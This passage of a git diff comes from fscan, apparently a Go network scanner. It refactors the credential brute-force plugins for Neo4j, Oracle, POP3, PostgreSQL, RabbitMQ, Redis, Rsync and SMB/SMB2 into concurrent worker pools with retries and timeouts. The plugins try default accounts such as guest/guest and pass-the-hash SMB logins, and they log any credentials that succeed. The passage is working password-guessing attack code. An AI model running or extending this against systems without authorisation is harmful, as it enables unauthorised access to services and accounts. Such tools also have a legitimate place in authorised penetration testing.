fmt.Errorf("扫描超时") + return + } + + // 执行Neo4j连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + flag, err := Neo4jConn(info, user, pass) + done <- struct { + success bool + err error + }{flag, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["neo4j"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } @@ -78,7 +164,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) { // 无认证时使用NoAuth driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config) } - + if err != nil { return false, err } diff --git a/Plugins/Oracle.go b/Plugins/Oracle.go index ddab0e9..d90c94f 100644 --- a/Plugins/Oracle.go +++ b/Plugins/Oracle.go @@ -6,6 +6,7 @@ import ( "github.com/shadow1ng/fscan/Common" _ "github.com/sijms/go-ora/v2" "strings" + "sync" "time" ) @@ -15,34 +16,112 @@ func OracleScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["oracle"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["oracle"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := OracleConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行Oracle连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := OracleConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - // 记录错误信息 - errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/POP3.go b/Plugins/POP3.go index ee6d334..306b09a 100644 --- a/Plugins/POP3.go +++ b/Plugins/POP3.go @@ -7,6 +7,7 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" + "sync" "time" ) @@ -15,30 +16,116 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["pop3"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["pop3"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := POP3Conn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行POP3连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := POP3Conn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v", + info.Host, info.Ports, task.user, task.pass) + Common.LogSuccess(successLog) + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["pop3"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/Postgres.go b/Plugins/Postgres.go index 0fa446b..cb10f55 100644 --- a/Plugins/Postgres.go +++ b/Plugins/Postgres.go @@ -6,6 +6,7 @@ import ( _ "github.com/lib/pq" "github.com/shadow1ng/fscan/Common" "strings" + "sync" "time" ) @@ -15,34 +16,112 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["postgresql"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["postgresql"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := PostgresConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行PostgreSQL连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := PostgresConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - // 记录错误信息 - errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["postgresql"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/RabbitMQ.go b/Plugins/RabbitMQ.go index 8e2d3a3..01af0df 100644 --- a/Plugins/RabbitMQ.go +++ b/Plugins/RabbitMQ.go @@ -6,6 +6,7 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" + "sync" "time" ) @@ -15,37 +16,121 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 首先测试默认账户 guest/guest - flag, err := RabbitMQConn(info, "guest", "guest") - if flag && err == nil { - return err - } + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["rabbitmq"])*len(Common.Passwords)+1) // +1 是为了加入guest账号 - // 尝试用户名密码组合 + resultChan := make(chan error, threads) + + // 先加入默认账号guest/guest + taskChan <- struct { + user string + pass string + }{"guest", "guest"} + + // 生成其他用户名密码组合任务 for _, user := range Common.Userdict["rabbitmq"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := RabbitMQConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行RabbitMQ连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := RabbitMQConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v", + info.Host, info.Ports, task.user, task.pass) + Common.LogSuccess(result) + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["rabbitmq"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 3f68b82..7d79395 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -8,6 +8,7 @@ import ( "net" "os" "strings" + "sync" "time" ) @@ -20,7 +21,7 @@ var ( func RedisScan(info *Common.HostInfo) (tmperr error) { starttime := time.Now().Unix() - // 尝试无密码连接 + // 先尝试无密码连接 flag, err := RedisUnauth(info) if flag && err == nil { return err @@ -30,30 +31,102 @@ func RedisScan(info *Common.HostInfo) (tmperr error) { return } - // 尝试密码暴力破解 + maxRetries := Common.MaxRetries + threads := Common.BruteThreads + + // 创建任务通道 + taskChan := make(chan string, len(Common.Passwords)) + resultChan := make(chan error, threads) + + // 生成所有密码任务 for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) + taskChan <- pass + } + close(taskChan) - flag, err := RedisConn(info, pass) - if flag && err == nil { - return err - } + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() - // 记录错误信息 - errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err) - Common.LogError(errlog) - tmperr = err + for pass := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } - if Common.CheckErrs(err) { - return err - } + // 执行Redis连接 + done := make(chan struct { + success bool + err error + }) - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { - return err + go func(pass string) { + success, err := RedisConn(info, pass) + done <- struct { + success bool + err error + }{success, err} + }(pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", + info.Host, info.Ports, pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } + } + resultChan <- nil + }() + } + + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { + tmperr = err + if retryErr := Common.CheckErrs(err); retryErr != nil { + return err + } } } - fmt.Println("[+] Redis扫描模块结束...") + return tmperr } diff --git a/Plugins/Rsync.go b/Plugins/Rsync.go index a76d14c..582c5d2 100644 --- a/Plugins/Rsync.go +++ b/Plugins/Rsync.go @@ -5,6 +5,7 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" + "sync" "time" ) @@ -14,38 +15,130 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads // 首先测试匿名访问 - flag, err := RsyncConn(info, "", "") - if flag && err == nil { - return err + for retryCount := 0; retryCount < maxRetries; retryCount++ { + flag, err := RsyncConn(info, "", "") + if flag && err == nil { + return err + } + + if err != nil { + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + break } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["rsync"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["rsync"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := RsyncConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行Rsync连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + flag, err := RsyncConn(info, user, pass) + done <- struct { + success bool + err error + }{flag && err == nil, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["rsync"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/SMB.go b/Plugins/SMB.go index 99f7ff9..f9e036b 100644 --- a/Plugins/SMB.go +++ b/Plugins/SMB.go @@ -6,60 +6,133 @@ import ( "github.com/shadow1ng/fscan/Common" "github.com/stacktitan/smb/smb" "strings" + "sync" "time" ) // SmbScan 执行SMB服务的认证扫描 func SmbScan(info *Common.HostInfo) (tmperr error) { - // 如果未启用暴力破解则直接返回 if Common.DisableBrute { return nil } - startTime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 遍历用户名和密码字典进行认证尝试 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["smb"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["smb"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - // 执行带超时的认证 - success, err := doWithTimeOut(info, user, pass) + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + startTime := time.Now().Unix() - if success && err == nil { - // 认证成功,记录结果 - var result string - if Common.Domain != "" { - result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", - info.Host, info.Ports, Common.Domain, user, pass) - } else { - result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v", - info.Host, info.Ports, user, pass) + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-startTime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行SMB认证 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := doWithTimeOut(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 认证成功 + var successLog string + if Common.Domain != "" { + successLog = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", + info.Host, info.Ports, Common.Domain, task.user, task.pass) + } else { + successLog = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, task.user, task.pass) + } + Common.LogSuccess(successLog) + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, task.user, task.pass, + strings.ReplaceAll(err.Error(), "\n", "")) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 } - Common.LogSuccess(result) + } + resultChan <- nil + }() + } + + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { + tmperr = err + if retryErr := Common.CheckErrs(err); retryErr != nil { return err - } else { - // 认证失败,记录错误 - errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, user, pass, - strings.ReplaceAll(err.Error(), "\n", "")) - Common.LogError(errorMsg) - tmperr = err - - // 检查是否需要中断扫描 - if Common.CheckErrs(err) { - return err - } - - // 检查是否超时 - timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout - if time.Now().Unix()-startTime > timeoutLimit { - return err - } } } } + return tmperr } diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index e636673..c133a52 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -6,6 +6,7 @@ import ( "net" "os" "strings" + "sync" "time" "github.com/hirochachacha/go-smb2" @@ -13,79 +14,269 @@ import ( // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 func SmbScan2(info *Common.HostInfo) (tmperr error) { - - // 如果未启用暴力破解则直接返回 if Common.DisableBrute { return nil } - hasprint := false - startTime := time.Now().Unix() - // 使用哈希认证模式 if len(Common.HashBytes) > 0 { - return smbHashScan(info, hasprint, startTime) + return smbHashScan(info) } // 使用密码认证模式 - return smbPasswordScan(info, hasprint, startTime) + return smbPasswordScan(info) } // smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error { +func smbHashScan(info *Common.HostInfo) error { + maxRetries := Common.MaxRetries + threads := Common.BruteThreads + hasprint := false + + // 创建任务通道 + taskChan := make(chan struct { + user string + hash []byte + }, len(Common.Userdict["smb"])*len(Common.HashBytes)) + + resultChan := make(chan error, threads) + + // 生成所有用户名和哈希组合任务 for _, user := range Common.Userdict["smb"] { for _, hash := range Common.HashBytes { - success, err, printed := Smb2Con(info, user, "", hash, hasprint) - if printed { - hasprint = true - } + taskChan <- struct { + user string + hash []byte + }{user, hash} + } + } + close(taskChan) - if success { - logSuccessfulAuth(info, user, "", hash) + // 启动工作线程 + var wg sync.WaitGroup + var hasPrintMutex sync.Mutex + + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + startTime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-startTime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行SMB2认证 + done := make(chan struct { + success bool + err error + printed bool + }) + + go func(user string, hash []byte) { + hasPrintMutex.Lock() + currentHasPrint := hasprint + hasPrintMutex.Unlock() + + success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint) + + if printed { + hasPrintMutex.Lock() + hasprint = true + hasPrintMutex.Unlock() + } + + done <- struct { + success bool + err error + printed bool + }{success, err, printed} + }(task.user, task.hash) + + // 等待结果或超时 + select { + case result := <-done: + if result.success { + logSuccessfulAuth(info, task.user, "", task.hash) + resultChan <- nil + return + } + + if result.err != nil { + logFailedAuth(info, task.user, "", task.hash, result.err) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(result.err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- result.err + return + } + continue // 继续重试 + } + } + + case <-time.After(time.Duration(Common.Timeout) * time.Second): + logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时")) + } + + break // 如果不需要重试,跳出重试循环 + } + + if len(Common.HashValue) > 0 { + break + } + } + resultChan <- nil + }() + } + + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } - - logFailedAuth(info, user, "", hash, err) - - if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) { - return err - } - - if len(Common.HashValue) > 0 { - break - } } } + return nil } // smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error { +func smbPasswordScan(info *Common.HostInfo) error { + maxRetries := Common.MaxRetries + threads := Common.BruteThreads + hasprint := false + + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["smb"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["smb"] { for _, pass := range Common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) - success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint) - if printed { - hasprint = true - } + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - if success { - logSuccessfulAuth(info, user, pass, []byte{}) + // 启动工作线程 + var wg sync.WaitGroup + var hasPrintMutex sync.Mutex + + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + startTime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-startTime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行SMB2认证 + done := make(chan struct { + success bool + err error + printed bool + }) + + go func(user, pass string) { + hasPrintMutex.Lock() + currentHasPrint := hasprint + hasPrintMutex.Unlock() + + success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint) + + if printed { + hasPrintMutex.Lock() + hasprint = true + hasPrintMutex.Unlock() + } + + done <- struct { + success bool + err error + printed bool + }{success, err, printed} + }(task.user, task.pass) + + // 等待结果或超时 + select { + case result := <-done: + if result.success { + logSuccessfulAuth(info, task.user, task.pass, []byte{}) + resultChan <- nil + return + } + + if result.err != nil { + logFailedAuth(info, task.user, task.pass, []byte{}, result.err) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(result.err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- result.err + return + } + continue // 继续重试 + } + } + + case <-time.After(time.Duration(Common.Timeout) * time.Second): + logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时")) + } + + break // 如果不需要重试,跳出重试循环 + } + + if len(Common.HashValue) > 0 { + break + } + } + resultChan <- nil + }() + } + + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } - - logFailedAuth(info, user, pass, []byte{}, err) - - if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) { - return err - } - - if len(Common.HashValue) > 0 { - break - } } } - fmt.Println("[+] Smb2扫描模块结束...") + return nil } @@ -93,10 +284,10 @@ func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) erro func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { var result string if Common.Domain != "" { - result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", + result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ", info.Host, info.Ports, Common.Domain, user) } else { - result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ", + result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ", info.Host, info.Ports, user) } @@ -112,29 +303,16 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { - errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v", + errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v", info.Host, info.Ports, user, Common.HashValue, err) } else { - errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", + errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", info.Host, info.Ports, user, pass, err) } errlog = strings.ReplaceAll(errlog, "\n", " ") Common.LogError(errlog) } -// shouldStopScan 检查是否应该停止扫描 -func shouldStopScan(err error, startTime int64, totalAttempts int) bool { - if 